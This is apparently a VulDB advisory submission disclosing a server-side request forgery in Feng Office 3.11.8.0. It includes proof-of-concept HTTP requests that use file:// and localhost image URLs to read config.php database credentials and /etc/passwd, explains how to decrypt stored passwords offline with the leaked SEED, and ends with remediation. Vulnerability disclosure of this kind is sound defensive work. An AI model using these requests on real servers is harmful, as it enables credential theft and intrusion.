| 제목 | Fengoffice Feng Office 3.11.8.0 Server-Side Request Forgery |
|---|
| 설명 | Summary
-------
When a document is saved (index.php?c=files&a=save_document), FilesController::save_document
extracts all <img> src URLs from the document content and fetches each one via
upload_document_image(), which performs file_get_contents(html_entity_decode($url)) with no
scheme, host or path validation and stores the response as a document attachment
(application/controllers/FilesController.class.php, line 1099, unchanged in x.x.x.x):
public function upload_document_image($url, $filename, $img_num) {
$file_content = file_get_contents(html_entity_decode($url)); // no validation
...
file_put_contents($tmp_name, $file_content); // stored as "image"
}
The fetched content is saved as a ProjectFile object and can be retrieved via
index.php?c=files&a=download_image&id=<OBJECT_ID>&inline=1.
Additionally, download_image serves content with Content-Disposition: inline and, for
non-standard extensions, no Content-Type header at all (verified for .php and extensionless
objects), enabling content-sniffing attacks (stored XSS chain).
Exploitation requires any authenticated account able to save documents; verified with a
freshly created unprivileged "Executive" user.
Proof of Concept (verified on x.x.x.x, authenticated as regular user)
----------------------------------------------------------------------
1. Save a document whose HTML contains a file:// URL:
POST /fengoffice/index.php?c=files&a=save_document
Content-Type: application/x-www-form-urlencoded
fileContent=<p><img src="file:///var/www/html/fengoffice/config/config.php"></p>
&file[name]=ssrf_test&file[extension]=html
The server fetches the local file and stores it as an "image" attachment.
2. Read the fetched content:
GET /fengoffice/index.php?c=files&a=download_image&id=<IMG_OBJECT_ID>&inline=1
Response body = full config.php, including:
define('DB_USER', '...'); define('DB_PASS', '...');
define('SEED', '...');
Three variants demonstrated:
a) file:// within docroot -> full config/config.php (DB credentials + SEED)
b) file:// outside docroot -> full /etc/passwd (deployment has no open_basedir)
c) http://127.0.0.1/... -> classic SSRF; internal service response stored and
downloadable (recon of internal network / metadata
endpoints such as x.x.x.x)
Impact
------
- Arbitrary file read with web server privileges (config, /etc/passwd, any readable file;
bounded by open_basedir where configured).
- Full credential compromise: SEED is the key of the Feng Office password encryption
scheme cp_encrypt (application/functions.php): passwords are stored as
XOR(password, md5(SEED . password_date)) with password_date in the same DB row - with
SEED, all user passwords can be decrypted offline.
- SSRF pivot to internal/external HTTP services; responses persisted and downloadable.
- Stored XSS via content sniffing (inline disposition + missing Content-Type).
Remediation
-----------
Do not fetch user-supplied URLs server-side, or allowlist schemes (http/https) and validate
the resolved host (block localhost, link-local and private ranges); enforce an extension
allowlist for stored images; set a safe explicit Content-Type and
Content-Disposition: attachment in download_image.
|
|---|
| 원천 | ⚠️ https://gist.github.com/Marsh232/ae7fc1a7b4ad151128e6cd4e0db6cf02 |
|---|
| 사용자 | 1marsh1 (UID 102043) |
|---|
| 제출 | 2026. 10. 14. AM 11:31 (25 날 ago) |
|---|
| 모더레이션 | 2026. 11. 08. AM 09:01 (25 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 432805 [Fengoffice Feng Office 까지 3.11.13.11/4.2.1.2 File FilesController.class.php upload_document_image url 권한 상승] |
|---|
| 포인트들 | 20 |
|---|